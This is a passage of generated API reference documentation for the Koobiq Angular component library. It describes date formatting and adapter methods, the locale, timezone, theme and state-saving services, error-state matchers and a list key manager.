  - `date`: `D` — date
  - `currYear`: `boolean | undefined` — should the year be shown forced
  - returns `string` — absolute date in short format
- `absoluteShortDateTime()`: `string`
  - `date`: `D` — date
  - `options`: `DateTimeOptions | undefined` — DateTimeOptions
  - returns `string` — absolute date in short format with time
- `absoluteLongDate()`: `string`
  - `date`: `D` — date
  - `currYear`: `boolean | undefined` — should the year be shown forced
  - returns `string` — absolute date in long format
- `absoluteLongDateTime()`: `string`
  - `date`: `D` — date
  - `options`: `DateTimeOptions | undefined` — DateTimeOptions
  - returns `string` — absolute date in long format with time
- `openedRangeDate()`: `string`
  - `startDate`: `D | null` — start date
  - `endDate`: `D | null` — end date
  - `template`: `FormatterRangeTemplate` — template
  - returns `string` — opened date
- `openedRangeDateTime()`: `string`
  - `startDate`: `D | null` — start date
  - `endDate`: `D | null` — end date
  - `template`: `FormatterRangeTemplate` — template
  - `seconds`: `boolean | undefined` — should time with seconds be shown as well
  - `milliseconds`: `boolean | undefined` — should time with milliseconds be shown as well
  - returns `string` — opened date
- `rangeDate()`: `string`
  - `startDate`: `D` — start date
  - `endDate`: `D` — end date
  - `template`: `FormatterRangeTemplate` — template
  - returns `string` — range date in template format
- `rangeDateTime()`: `string`
  - `startDate`: `D` — start date
  - `endDate`: `D` — end date
  - `template`: `FormatterRangeTemplate` — template
  - `seconds`: `boolean | undefined` — use seconds
  - `milliseconds`: `boolean | undefined` — use milliseconds
  - returns `string` — range date in template format with time
- `rangeShortDate()`: `string`
  - `startDate`: `D | null` — start date
  - `endDate`: `D | undefined` — end date
  - returns `string` — range date in short format
- `rangeShortDateTime()`: `string`
  - `startDate`: `D | null` — start date
  - `endDate`: `D | null | undefined` — end date
  - `options`: `DateTimeOptions | undefined` — DateTimeOptions
  - returns `string` — range date in short format with time
- `rangeLongDate()`: `string`
  - `startDate`: `D | null` — start date
  - `endDate`: `D | null | undefined` — end date
  - returns `string` — range date in long format
- `rangeLongDateTime()`: `string`
  - `startDate`: `D | null` — start date
  - `endDate`: `D | undefined` — end date
  - `options`: `DateTimeOptions | undefined` — DateTimeOptions
  - returns `string` — range date in long format with time
- `rangeMiddleDateTime()`: `string`
  - `startDate`: `D` — start date
  - `endDate`: `D` — end date
  - `options`: `DateTimeOptions | undefined` — DateTimeOptions
  - returns `string` — range middle date with time
- `durationShortest()`: `string`
  - `startDate`: `D` — start date
  - `endDate`: `D` — end date
  - `seconds`: `boolean | undefined` — add seconds to formatted value
  - `milliseconds`: `boolean | undefined` — add milliseconds to formatted value
  - returns `string` — formatted duration as string like 48:02:25
- `duration()`: `string`
  - `startDate`: `D` — start date
  - `endDate`: `D` — end date
  - `units`: `DurationUnit[]` — if defined, units to show will be specified
  - `fraction`: `boolean` — shows fraction part for years and months
  - `template`: `FormatterDurationTemplate` — specify template
  - returns `string` — formatted duration as string

##### ErrorStateMatcher (service)

Provider that defines how form controls behave with regards to displaying error messages.
Error state matcher that matches when a control is invalid and touched or form is submitted.

```ts
@Injectable({ providedIn: 'root' })
class ErrorStateMatcher {
    isErrorState(
        control: AbstractControl | null,
        form: FormGroupDirective | NgForm | null
    ): boolean;
}
```

##### KbqDateTimezoneService (service)

Holds the time zone every date the library creates, parses and formats is rendered in.

Provided in root, so `KBQ_DATE_TIMEZONE` in the application providers configures the whole
application. To scope a zone to one subtree, list `kbqDateTimezoneProvider` in that component's
`providers` together with the date adapter and the `DateFormatter`: the adapter captures the service of
the injector that created it, and keeps using it.

```ts
@Injectable({ providedIn: 'root' })
class KbqDateTimezoneService {
    readonly timezone: Signal<KbqTimezoneLike>;
    readonly changes: Observable<KbqTimezoneLike>;
    setTimezone(timezone: KbqTimezoneLike): void;
    offsetAt(timestamp: number): number | null;
}
```

- `timezone`: `Signal<KbqTimezoneLike>` — Active time zone.
- `changes`: `Observable<KbqTimezoneLike>` — Emits when the active time zone changes.

  The counterpart of `DateAdapter.localeChanges`, for the surfaces that render a date once instead of
  through an impure pipe — the date inputs and the calendar.
- `setTimezone()`: `void` — Activates a time zone.
- `offsetAt()`: `number | null` — Offset of the active zone at `timestamp`, in minutes east of UTC, or `null` when dates are left in
  the host zone.

##### KbqLocaleService (service)

```ts
@Injectable({ providedIn: 'root' })
class KbqLocaleService {
    readonly changes: BehaviorSubject<string>;
    readonly locales: KbqLocaleDataMap;
    readonly localeId: Signal<KbqLocaleIdLike>;
    readonly data: Signal<KbqLocaleData>;
    readonly items: Signal<KbqLocaleItem[]>;
    /** @deprecated */
    id: string;
    /** @deprecated */
    current: KbqLocaleData;
    setLocale(id: KbqLocaleIdLike): void;
    addLocale(
        id: KbqLocaleIdLike,
        localeData: KbqPartialLocaleData
    ): void;
    getParams<K extends KbqLocaleSection>(section: K): KbqLocaleData[K];
    getParams(section: string): any;
    params<K extends KbqLocaleSection>(
        section: K
    ): Signal<KbqLocaleData[K]>;
}
```

- `changes`: `BehaviorSubject<string>` — Emits the active locale id on every change.

  Prefer the `localeId` signal in new code — a signal read from a template registers on the
  reading view, which an observable subscribed in one component cannot do for its children.
- `locales`: `KbqLocaleDataMap` — Every registered locale keyed by id, plus the `items` list used to render locale pickers.
- `localeId`: `Signal<KbqLocaleIdLike>` — Active locale id.
- `data`: `Signal<KbqLocaleData>` — Locale data of the active locale. Always complete — see `addLocale`.
- `items`: `Signal<KbqLocaleItem[]>` — Registered locales, for rendering a locale picker.
- `id`: `string` — Deprecated: Use the `localeId` signal. Will be removed in 22.0.0.
- `current`: `KbqLocaleData` — Deprecated: Use the `data` signal. Will be removed in 22.0.0.
- `setLocale()`: `void` — Activates a locale.
- `addLocale()`: `void` — Registers a locale and activates it.

  The data may be partial: every section — and every key within a section — is optional, and whatever
  is omitted is completed from the shipped locale of the same id, or from the default locale when the
  id is new. That is what lets `getParams` promise a complete section for any registered locale.
- `getParams()`: `KbqLocaleData[K]` — Localized strings of one section of the active locale.

  Passing a known `KbqLocaleSection` resolves the precise configuration type; any other string
  falls back to `any`, so dynamically-built section names keep working.
- `params()`: `Signal<KbqLocaleData[K]>` — Reactive counterpart of `getParams`: re-emits whenever the locale changes.

##### KbqLocalStorageStateStore (service)

Default `KbqStateStore` implementation, persisting into `localStorage`.

```ts
@Injectable({ providedIn: 'root' })
class KbqLocalStorageStateStore extends KbqWebStorageStateStore {
    readonly changes: Observable<void>;
    keys(): string[];
    getState(key: string): unknown;
    setState(key: string, state: unknown): void;
    removeState(key: string): void;
}
```

- `changes`: `Observable<void>` — `storage` fires only in the *other* documents of the same origin, never in the one that wrote the
  value, so this reports exactly the external changes `KbqStateStore.changes` is meant to report,
  with no echo of this instance's own writes.

##### KbqMeasureScrollbarService (service)

Deprecated: Nothing in the library uses it. Measure the scrollbar of the element that scrolls instead:
`element.offsetWidth - element.clientWidth`. Will be removed in 22.0.0.

```ts
@Injectable({ providedIn: 'root' })
class KbqMeasureScrollbarService {
    get scrollBarWidth(): number;
    initScrollBarWidth(): void;
}
```

##### KbqSessionStorageStateStore (service)

`KbqStateStore` implementation persisting into `sessionStorage`, so the state lives for the tab
session instead of until it expires.

```ts
providers: [{ provide: KBQ_STATE_STORE, useExisting: KbqSessionStorageStateStore }]
```

```ts
@Injectable({ providedIn: 'root' })
class KbqSessionStorageStateStore extends KbqWebStorageStateStore {
    readonly changes: Observable<void>;
    keys(): string[];
    getState(key: string): unknown;
    setState(key: string, state: unknown): void;
    removeState(key: string): void;
}
```

- `changes`: `Observable<void>` — `storage` fires only in the *other* documents of the same origin, never in the one that wrote the
  value, so this reports exactly the external changes `KbqStateStore.changes` is meant to report,
  with no echo of this instance's own writes.

##### KbqShadowDomOverlayContainer (service)

`OverlayContainer` that places the `.cdk-overlay-container` inside a shadow root instead of `document.body`.
Provide it with `kbqShadowDomOverlayProvider`.

The default CDK `OverlayContainer` always appends its container to `document.body`. When the application is
rendered inside a shadow root (e.g. a Module Federation micro-frontend), overlays — toasts, modals, dropdowns,
tooltips, etc. — escape the shadow tree into the light DOM. There they lose access to the styles and theme tokens
scoped to the shadow root (Koobiq theme tokens are defined on the `.kbq-light` / `.kbq-dark` ancestor), which
results in unstyled overlays.

This container resolves the target shadow root from `KBQ_SHADOW_DOM_OVERLAY_HOST` (or the root component when
the token is absent) and relocates the overlay container into it. After relocating, it also clones CDK's own
structural overlay stylesheet (`position`/`z-index`/backdrop, `.cdk-overlay-container:empty`) into the shadow root,
since those `document.head` styles do not cross the shadow boundary. If no shadow root is found — the common case
for an app rendered directly in the light DOM — the container is left on `document.body`, so it is safe to provide
unconditionally.

Only **open** shadow roots can be resolved: a closed shadow root exposes neither `Element.shadowRoot` nor a
`ShadowRoot` from `getRootNode()`, so pass an element that already lives inside the closed tree if you must use one.

Note: this fixes the overlay container *placement* and delivers the CDK structural overlay styles. The host
application is still responsible for delivering the **Koobiq component/theme styles** (the `.kbq-light` / `.kbq-dark`
tokens and component CSS) into the shadow root, since global `document.head` stylesheets do not cascade across a
shadow boundary.

```ts
@Injectable()
class KbqShadowDomOverlayContainer extends OverlayContainer {
    getContainerElement(): HTMLElement;
}
```

- `getContainerElement()`: `HTMLElement` — This method returns the overlay container element. It will lazily
  create the element the first time it is called to facilitate using
  the container in non-browser environments.
  - returns `HTMLElement` — the container element

##### KbqStateSavingService (service)

Reports and manages what has been persisted through `KbqStateSaving`.

Two sources, because neither covers the other. The registry of live components says who persists,
under which key, and what they currently hold — including a component given its own
`KBQ_STATE_STORE`, which the root store cannot see. The root store says what is actually stored,
including entries no live component claims: a component whose surrounding markup changed writes under
a new key and strands the old entry, and only the store knows it is still there.

Everything is reported as a snapshot rather than a signal. Components register while their host is
being created, which happens during change detection, and a signal written then is read back by a
view that has already been checked (`NG0100`). Subscribe to `changes` to know when to take a new
snapshot.

```ts
const stateSaving = inject(KbqStateSavingService);

stateSaving.clearOrphans();
stateSaving.setEnabled(false);
```

```ts
@Injectable({ providedIn: 'root' })
class KbqStateSavingService {
    readonly changes: Observable<void>;
    isEnabled(): boolean;
    setEnabled(enabled: boolean): void;
    components(): readonly KbqStateSavingRef[];
    keys(): string[];
    orphans(): string[];
    read(key: string): unknown;
    write(key: string, state: unknown): void;
    remove(key: string): void;
    clear(): void;
    clearOrphans(): void;
}
```

- `changes`: `Observable<void>` — Emits whenever this picture changes: a component registered, persisted, cleared or was destroyed,
  this service wrote or removed something, or the store reported a change made outside this tab.

  It says *that* something changed, never what — take a fresh snapshot in response. Expect it to be
  chatty: the initial render of a page full of persisting components emits once per component, and
  a component that persists on every interaction emits on every interaction.
- `isEnabled()`: `boolean` — Whether components are allowed to persist.
- `setEnabled()`: `void` — Turns persistence off, or back on, for every component at once — the switch behind a "do not
  remember my interface" setting. A component's own `useStateSaving` still has to be set for it to
  persist; this only takes that away.

  Turning it off stops reading and writing. It does not remove what is already stored, and does not
  collapse what was already restored — call `clear()` for the first, reload for the second. A
  component reads once while it initializes, so a setting that arrives later than that reaches the
  next render; provide `KBQ_STATE_SAVING_ENABLED` to decide before anything reads.
- `components()`: `readonly KbqStateSavingRef[]` — Every live component that persists state, in registration order.
- `keys()`: `string[]` — Every key the root store holds. Empty when the store cannot enumerate — see `KbqStateStore.keys`,
  which a backend-backed store is expected to leave out.
- `orphans()`: `string[]` — The keys the root store holds that no live component claims — what a markup change leaves behind.

  A component that has not read yet claims nothing, so a page still initializing can report a key as
  orphaned for as long as that takes.
- `read()`: `unknown` — The raw payload stored under the key, or `null`.

  Raw: normalizing a payload into state belongs to the component that wrote it (see the
  `normalize` callback of `KbqStateSaving.read()`), and the service does not know which component that is.
- `write()`: `void` — Overwrites the payload stored under the key. It has to be JSON-serializable, and in the shape the
  owning component's `normalize` accepts — anything else is rejected on read and the component falls
  back to its default.

  A component restores once, while initializing, so this reaches a component that is already on
  screen only after a reload.
- `remove()`: `void` — Removes the entry stored under the key, in the root store and in any live component's own.
- `clear()`: `void` — Removes every entry, claimed and orphaned alike.
- `clearOrphans()`: `void` — Removes only the entries no live component claims, leaving what is in use alone.

##### KbqThemeCookieStore (service)

`KbqThemeStore` implementation backed by a cookie, for apps with **live** Angular SSR — a cookie travels
with the request, so the server can read it and render the right theme immediately, unlike `localStorage`.
On the server it reads the incoming request's `Cookie` header itself, so no bootstrap wiring is needed.
Not useful for a statically prerendered site — there is no request there, so use
`KbqThemeLocalStorageStore` instead.

```ts
@Injectable({ providedIn: 'root' })
class KbqThemeCookieStore implements KbqThemeStore {
    getMode(): KbqThemeMode | null;
    setMode(mode: KbqThemeMode): void;
    getStaticTheme(): string | null;
    setStaticTheme(name: string | null): void;
}
```

##### KbqThemeLocalStorageStore (service)

Default `KbqThemeStore` implementation backed by `localStorage`.

All access is guarded so it is safe on the server (SSR) and in environments where storage throws on access
(private mode, sandboxed iframes). The storage key is configured via `KBQ_THEME_CONFIG.storageKey`
(see `kbqThemeProvider()`).

```ts
@Injectable({ providedIn: 'root' })
class KbqThemeLocalStorageStore implements KbqThemeStore {
    readonly changes: Observable<void>;
    getMode(): KbqThemeMode | null;
    setMode(mode: KbqThemeMode): void;
    getStaticTheme(): string | null;
    setStaticTheme(name: string | null): void;
}
```

- `changes`: `Observable<void>` — `storage` fires only in the *other* documents of the same origin, never in the one that wrote the
  value, so this reports exactly the external changes `KbqThemeStore.changes` is meant to report,
  with no echo of this instance's own writes. `EMPTY` on the server, which has no other tabs to hear
  from — a listener there would never fire.

##### KbqThemeService (service)

Manages the active Koobiq theme: resolves `mode()` against the OS color scheme and the registered
`themes()`, applies the active theme's class to the document body, and persists `mode()` via
`KBQ_THEME_STORE`.

```ts
providers: [kbqThemeProvider({ themes: myThemes, mode: 'dark' })]
```

```ts
@Injectable({ providedIn: 'root' })
class KbqThemeService<T extends KbqThemeConfig = KbqThemeConfig> {
    readonly themes: Signal<T[]>;
    readonly mode: Signal<KbqThemeMode>;
    readonly staticTheme: Signal<string | null>;
    readonly currentTheme: Signal<T | null>;
    readonly colorScheme: Signal<KbqThemeColorScheme>;
    setThemes(items: T[]): void;
    setMode(mode: KbqThemeMode): void;
    selectTheme(name: string | null): void;
    toggle(): void;
}
```

- `themes`: `Signal<T[]>` — Themes available to select from. Set via `setThemes()` to register a fully custom set.
- `mode`: `Signal<KbqThemeMode>` — Selected fixed `'light'`/`'dark'` mode, or `'auto'` to follow the OS color scheme. Set via `setMode()`.
- `staticTheme`: `Signal<string | null>` — Name of a theme selected out of `themes()`,
  overriding `mode` resolution in `currentTheme()` until
  cleared or `setMode()`/`toggle()` is called. `null` when nothing is selected.
- `currentTheme`: `Signal<T | null>` — The static theme if `staticTheme()` is set, otherwise the theme whose `colorScheme` matches `resolvedMode()`.
- `colorScheme`: `Signal<KbqThemeColorScheme>` — `currentTheme()`'s polarity, falling back to `resolvedMode()` if nothing matched.
- `setThemes()`: `void` — Replaces the registered theme set with a fully custom one.
- `setMode()`: `void` — Sets a fixed `'light'`/`'dark'` mode, or `'auto'` to follow the OS color scheme, clearing any active
  static theme so this always hands control back to dynamic resolution.
- `selectTheme()`: `void` — Pins a theme by name out of `themes()`, or clears the pin when `name` is `null`.
- `toggle()`: `void` — Switches between `'light'`/`'dark'`, based on `colorScheme()` — the current theme's actual polarity.

##### KbqWebStorageStateStore (service)

Base `KbqStateStore` backed by one of the `Window` storages, which the subclass picks.

All access is guarded so it is safe on the server (SSR) and in environments where storage throws on
access (private mode, sandboxed iframes) or holds a payload that is not even valid JSON.

```ts
@Injectable()
abstract class KbqWebStorageStateStore implements KbqStateStore {
    readonly changes: Observable<void>;
    protected abstract getStorage(window: Window): Storage;
    keys(): string[];
    getState(key: string): unknown;
    setState(key: string, state: unknown): void;
    removeState(key: string): void;
}
```

- `changes`: `Observable<void>` — `storage` fires only in the *other* documents of the same origin, never in the one that wrote the
  value, so this reports exactly the external changes `KbqStateStore.changes` is meant to report,
  with no echo of this instance's own writes.
- `getStorage()`: `Storage` — The storage this store reads from and writes to.

##### ShowOnControlDirtyErrorStateMatcher (service)

Error state matcher that matches when a control is invalid and dirty or form is submitted.

```ts
@Injectable()
class ShowOnControlDirtyErrorStateMatcher implements ErrorStateMatcher {
    isErrorState(
        control: AbstractControl | null,
        form: FormGroupDirective | NgForm | null
    ): boolean;
}
```

##### ShowOnFormSubmitErrorStateMatcher (service)

Error state matcher that matches when a control is invalid and form is submitted.
Requires use FormGroupDirective or NgForm.

```ts
@Injectable()
class ShowOnFormSubmitErrorStateMatcher implements ErrorStateMatcher {
    isErrorState(
        control: AbstractControl | null,
        form: FormGroupDirective | NgForm | null
    ): boolean;
}
```

##### ShowRequiredOnSubmitErrorStateMatcher (service)

Error state matcher with split behavior based on error's type:
- `required` errors are shown only after the form is submitted.
- All other errors are shown as soon as the control is invalid and touched.

```ts
@Injectable()
class ShowRequiredOnSubmitErrorStateMatcher implements ErrorStateMatcher {
    isErrorState(
        control: AbstractControl | null,
        form: FormGroupDirective | NgForm | null
    ): boolean;
}
```

#### Classes

##### ActiveDescendantKeyManager (class)

```ts
class ActiveDescendantKeyManager<T> extends ListKeyManager<Highlightable & T> {
    tabOut: Subject<void>;
    change: Subject<number>;
    previousActiveItemIndex: number;
    get activeItemIndex(): number;
    get activeItem(): T | null;
    setActiveItem(index: number): void;
    setActiveItem(item: T): void;
    isTyping(): boolean;
    withScrollSize(scrollSize: number): this;
    withAllowedModifierKeys(keys: ListKeyManagerModifierKey[]): this;
    withWrap(shouldWrap?: boolean): this;
    skipPredicate(predicate: (item: T) => boolean): this;
    withVerticalOrientation(enabled?: boolean): this;
    withHorizontalOrientation(direction: 'ltr' | 'rtl' | null): this;
    withTypeAhead(
        debounceInterval?: number,
        searchLetterIndex?: number
    ): this;
    withHomeAndEnd(enabled?: boolean): this;
    onKeydown(event: KeyboardEvent): void;
    setFirstItemActive(): void;
    setLastItemActive(): void;
    setNextItemActive(): void;
    setPreviousItemActive(): void;
    setNextPageItemActive(delta?: number): void;
    setPreviousPageItemActive(delta?: number): void;
    updateActiveItem(index: number): void;
    updateActiveItem(item: number | T): void;
}
```

- `tabOut`: `Subject<void>` — Stream that emits any time the TAB key is pressed, so components can react
  when focus is shifted off of the list.
- `change`: `Subject<number>` — Stream that emits whenever the active item of the list manager changes.
- `setActiveItem()`: `void` — This method sets the active item to the item at the specified index.
  It also adds active styles to the newly active item and removes active
  styles from the previously active item.
  - `index`: `number` — Index of the item to be set as active.
- `isTyping()`: `boolean` — Gets whether the user is currently typing into the manager using the typeahead feature.
- `withAllowedModifierKeys()`: `this` — Modifier keys which are allowed to be held down and whose default actions will be prevented
  as the user is pressing the arrow keys. Defaults to not allowing any modifier keys.
- `withWrap()`: `this` — Turns on wrapping mode, which ensures that the active item will wrap to
  the other end of list when there are no more items in the given direction.
- `skipPredicate()`: `this` — Sets the predicate function that determines which items should be skipped by the
  list key manager.
  - `predicate`: `(item: T) => boolean` — Function that determines whether the given item should be skipped.
- `withVerticalOrientation()`: `this` — Configures whether the key manager should be able to move the selection vertically.
  - `enabled`: `boolean` — Whether vertical selection should be enabled.
- `withHorizontalOrientation()`: `this` — Configures the key manager to move the selection horizontally.
  Passing in `null` will disable horizontal movement.
  - `direction`: `'ltr' | 'rtl' | null` — Direction in which the selection can be moved.
- `withTypeAhead()`: `this` — Turns on typeahead mode which allows users to set the active item by typing.
  - `debounceInterval`: `number` — Time to wait after the last keystroke before setting the active item.
  - `searchLetterIndex`: `number` — letter index for incremental search, if is -1 search is disabled
- `withHomeAndEnd()`: `this` — Configures the key manager to activate the first and last items
  respectively when the Home or End key is pressed.
  - `enabled`: `boolean` — Whether pressing the Home or End key activates the first/last item.
- `onKeydown()`: `void` — Sets the active item depending on the key event passed in.
  - `event`: `KeyboardEvent` — Keyboard event to be used for determining which element should be active.
- `updateActiveItem()`: `void` — Allows setting the active without any other effects.
  - `index`: `number` — Index of the item to be set as active.

##### BaseFormatterPipe (class)

Deprecated: The base of the deprecated unprefixed date pipes. Will be removed in 22.0.0.

```ts
class BaseFormatterPipe<D> {}
```

##### DateAdapter (abstract class)

```ts
abstract class DateAdapter<D> extends BaseDateAdapter<D> {
    abstract get localeChanges(): Observable<any>;
    config: DateAdapterConfig;
    protected locale: any;
    abstract getYear(date: D): number;
    abstract getMonth(date: D): number;
    abstract getDate(date: D): number;
    abstract getDayOfWeek(date: D): number;
    abstract getHours(date: D): number;
    abstract getMinutes(date: D): number;
    abstract getSeconds(date: D): number;
    abstract getMilliseconds(date: D): number;
    abstract getTime(date: D): number;
    abstract getMonthNames(
        style: "short" | "long" | "narrow"
    ): string[];
    abstract getDateNames(): string[];
    abstract getDayOfWeekNames(
        style: "short" | "long" | "narrow"
    ): string[];
    abstract getYearName(date: D): string;
    abstract getFirstDayOfWeek(): number;
    abstract getNumDaysInMonth(date: D): number;
    abstract clone(date: D): D;
    abstract createDate(year: number, month?: number, date?: number): D;
    abstract createDateTime(
        year: number,
        month: number,
        date: number,
        hours: number,
        minutes: number,
        seconds: number,
        milliseconds: number
    ): D;
    abstract today(): D;
    abstract parse(value: any, parseFormat: any): D | null;
    abstract format(date: D, displayFormat: any): string;
    abstract addCalendarUnits(
        date: D,
        amount: number | DurationObjectUnits,
        unit?: DurationUnit
    ): D;
    abstract addCalendarYears(date: D, years: number): D;
    abstract addCalendarMonths(date: D, months: number): D;
    abstract addCalendarDays(date: D, days: number): D;
    abstract toIso8601(date: D): string;
    abstract isDateInstance(obj: any): boolean;
    abstract isValid(date: D): boolean;
    abstract invalid(): D;
    abstract hasSame(startDate: D, endDate: D, unit: string): boolean;
    abstract diffNow(date: D, unit: string): number;
    abstract daysFromToday(date: D): number;
    abstract durationObjectFromDates(
        start: D,
        end: D,
        units: DurationUnit[],
        showFraction?: boolean
    ): DurationObjectUnits;
    abstract durationAs(
        durationObject: DurationObjectUnits,
        unit: DurationUnit
    ): number;
    abstract durationFormat(
        durationObject: DurationObjectUnits,
        displayFormat: any
    ): string;
    abstract startOf(date: D, unit: DateUnit): D;
    deserialize(value: any): D | null;
    setLocale(locale: any): void;
    compareDate(first: D, second: D): number;
    compareDateTime(first: D, second: D): number;
    sameDate(first: D | null, second: D | null): boolean;
    clampDate(date: D, min?: D | null, max?: D | null): D;
}
```

- `localeChanges`: `Observable<any>` — A stream that emits when the locale changes.
- `locale`: `any` — The locale to use for all dates.
- `getYear()`: `number` — Gets the year component of the given date.
  - `date`: `D` — The date to extract the year from.
  - returns `number` — The year component.
- `getMonth()`: `number` — Gets the month component of the given date.
  - `date`: `D` — The date to extract the month from.
  - returns `number` — The month component (0-indexed, 0 = January).
- `getDate()`: `number` — Gets the date of the month component of the given date.
  - `date`: `D` — The date to extract the date of the month from.
  - returns `number` — The month component (1-indexed, 1 = first of month).
- `getDayOfWeek()`: `number` — Gets the day of the week component of the given date.
  - `date`: `D` — The date to extract the day of the week from.
  - returns `number` — The month component (0-indexed, 0 = Sunday).
- `getHours()`: `number` — Gets the hours component of the given date.
  - `date`: `D` — The date to extract from.
  - returns `number` — The hours component in 24h format.
- `getMinutes()`: `number` — Gets the minutes component of the given date.
  - `date`: `D` — The date to extract from.
  - returns `number` — The minutes component
- `getSeconds()`: `number` — Gets the seconds component of the given date.
  - `date`: `D` — The date to extract from.
  - returns `number` — The seconds component
- `getMilliseconds()`: `number` — Gets the milliseconds component of the given date.
  - `date`: `D` — The date to extract from.
  - returns `number` — The milliseconds component
- `getTime()`: `number` — Gets returns the number of milliseconds since the Unix Epoch of the given date.
  - `date`: `D` — The date to extract from.
  - returns `number` — The milliseconds
- `getMonthNames()`: `string[]` — Gets a list of names for the months.
  - `style`: `"short" | "long" | "narrow"` — The naming style (e.g. long = 'January', short = 'Jan', narrow = 'J').
  - returns `string[]` — An ordered list of all month names, starting with January.
- `getDateNames()`: `string[]` — Gets a list of names for the dates of the month.
  - returns `string[]` — An ordered list of all date of the month names, starting with '1'.
- `getDayOfWeekNames()`: `string[]` — Gets a list of names for the days of the week.
  - `style`: `"short" | "long" | "narrow"` — The naming style (e.g. long = 'Sunday', short = 'Sun', narrow = 'S').
  - returns `string[]` — An ordered list of all weekday names, starting with Sunday.
- `getYearName()`: `string` — Gets the name for the year of the given date.
  - `date`: `D` — The date to get the year name for.
  - returns `string` — The name of the given year (e.g. '2017').
- `getFirstDayOfWeek()`: `number` — Gets the first day of the week.
  - returns `number` — The first day of the week (0-indexed, 0 = Sunday).
- `getNumDaysInMonth()`: `number` — Gets the number of days in the month of the given date.
  - `date`: `D` — The date whose month should be checked.
  - returns `number` — The number of days in the month of the given date.
- `clone()`: `D` — Clones the given date.
  - `date`: `D` — The date to clone
  - returns `D` — A new date equal to the given date.
- `createDate()`: `D` — Creates a date with the given year, month, and date. Does not allow over/under-flow of the
  month and date.
  - `year`: `number` — The full year of the date. (e.g. 89 means the year 89, not the year 1989).
  - `month`: `number | undefined` — The month of the date (0-indexed, 0 = January). Must be an integer 0 - 11.
  - `date`: `number | undefined` — The date of month of the date. Must be an integer 1 - length of the given month.
  - returns `D` — The new date, or null if invalid.
- `createDateTime()`: `D` — Creates a date time with the given year, month, date, hours, minutes, seconds and milliseconds.
  Does not allow over/under-flow of the month and date.
  - `year`: `number` — The full year of the date. (e.g. 89 means the year 89, not the year 1989).
  - `month`: `number` — The month of the date (0-indexed, 0 = January). Must be an integer 0 - 11.
  - `date`: `number` — The date of month of the date. Must be an integer 1 - length of the given month.
  - `hours`: `number` — The date of month of the date. Must be an integer 1 - length of the given month.
  - `minutes`: `number` — The date of month of the date. Must be an integer 1 - length of the given month.
  - `seconds`: `number` — The date of month of the date. Must be an integer 1 - length of the given month.
  - `milliseconds`: `number` — The date of month of the date. Must be an integer 1 - length of the given month.
  - returns `D` — The new date, or null if invalid.
- `today()`: `D` — Gets today's date.
  - returns `D` — Today's date.
- `parse()`: `D | null` — Parses a date from a user-provided value.
  - `value`: `any` — The value to parse.
  - `parseFormat`: `any` — The expected format of the value being parsed
    (type is implementation-dependent).
  - returns `D | null` — The parsed date.
- `format()`: `string` — Formats a date as a string according to the given format.
  - `date`: `D` — The value to format.
  - `displayFormat`: `any` — The format to use to display the date as a string.
  - returns `string` — The formatted date string.
- `addCalendarUnits()`: `D` — Adds calendar units to a date.
  - `date`: `D` — The date to add units to
  - `amount`: `number | DurationObjectUnits` — The amount to add (number with unit param) or duration object with multiple units
  - `unit`: `DurationUnit | undefined` — The unit type (e.g., 'days', 'months', 'years') when amount is a number
  - returns `D` — A new date with the specified units added
- `addCalendarYears()`: `D` — Adds the given number of years to the date. Years are counted as if flipping 12 pages on the
  calendar for each year and then finding the closest date in the new month. For example when
  adding 1 year to Feb 29, 2016, the resulting date will be Feb 28, 2017.
  - `date`: `D` — The date to add years to.
  - `years`: `number` — The number of years to add (maybe negative).
  - returns `D` — A new date equal to the given one with the specified number of years added.
- `addCalendarMonths()`: `D` — Adds the given number of months to the date. Months are counted as if flipping a page on the
  calendar for each month and then finding the closest date in the new month. For example when
  adding 1 month to Jan 31, 2017, the resulting date will be Feb 28, 2017.
  - `date`: `D` — The date to add months to.
  - `months`: `number` — The number of months to add (may be negative).
  - returns `D` — A new date equal to the given one with the specified number of months added.
- `addCalendarDays()`: `D` — Adds the given number of days to the date. Days are counted as if moving one cell on the
  calendar for each day.
  - `date`: `D` — The date to add days to.
  - `days`: `number` — The number of days to add (may be negative).
  - returns `D` — A new date equal to the given one with the specified number of days added.
- `toIso8601()`: `string` — Gets the RFC 3339 compatible string (https://tools.ietf.org/html/rfc3339) for the given date.
  This method is used to generate date strings that are compatible with native HTML attributes
  such as the `min` or `max` attribute of an `<input>`.
  - `date`: `D` — The date to get the ISO date string for.
  - returns `string` — The ISO date string.
- `isDateInstance()`: `boolean` — Checks whether the given object is considered a date instance by this DateAdapter.
  - `obj`: `any` — The object to check
  - returns `boolean` — Whether the object is a date instance.
- `isValid()`: `boolean` — Checks whether the given date is valid.
  - `date`: `D` — The date to check.
  - returns `boolean` — Whether the date is valid.
- `invalid()`: `D` — Gets date instance that is not valid.
  - returns `D` — An invalid date.
- `startOf()`: `D` — "Set" given date to the beginning of the given unit.
- `deserialize()`: `D | null` — Attempts to deserialize a value to a valid date object. This is different from parsing in that
  deserialize should only accept non-ambiguous, locale-independent formats (e.g. a ISO 8601
  string). The default implementation does not allow any deserialization, it simply checks that
  the given value is already a valid date object or null. The `<mat-datepicker>` will call this
  method on all of it's `@Input()` properties that accept dates. It is therefore possible to
  support passing values from your backend directly to these properties by overriding this method
  to also deserialize the format used by your backend.
  - `value`: `any` — The value to be deserialized into a date object.
  - returns `D | null` — The deserialized date object, either a valid date, null if the value can be
    deserialized into a null date (e.g. the empty string), or an invalid date.
- `setLocale()`: `void` — Sets the locale used for all dates.
  - `locale`: `any` — The new locale.
- `compareDate()`: `number` — Compares two dates.
  - `first`: `D` — The first date to compare.
  - `second`: `D` — The second date to compare.
  - returns `number` — 0 if the dates are equal, a number less than 0 if the first date is earlier,
    a number greater than 0 if the first date is later.
- `compareDateTime()`: `number` — Compares two dates.
  - `first`: `D` — The first date to compare.
  - `second`: `D` — The second date to compare.
  - returns `number` — 0 if the dates are equal, a number less than 0 if the first date is earlier,
    a number greater than 0 if the first date is later.
- `sameDate()`: `boolean` — Checks if two dates are equal.
  - `first`: `D | null` — The first date to check.
  - `second`: `D | null` — The second date to check.
  - returns `boolean` — Whether the two dates are equal.
    Null dates are considered equal to other null dates.
- `clampDate()`: `D` — Clamp the given date between min and max dates.
  - `date`: `D` — The date to clamp.
  - `min`: `D | null | undefined` — The minimum value to allow. If null or omitted no min is enforced.
  - `max`: `D | null | undefined` — The maximum value to allow. If null or omitted no max is enforced.
  - returns `D` — `min` if `date` is less than `min`, `max` if date is greater than `max`,
    otherwise `date`.

##### EmptyFocusTrapStrategy (class)

```ts
class EmptyFocusTrapStrategy implements FocusTrapInertStrategy {
    preventFocus(): void;
    allowFocus(): void;
}
```

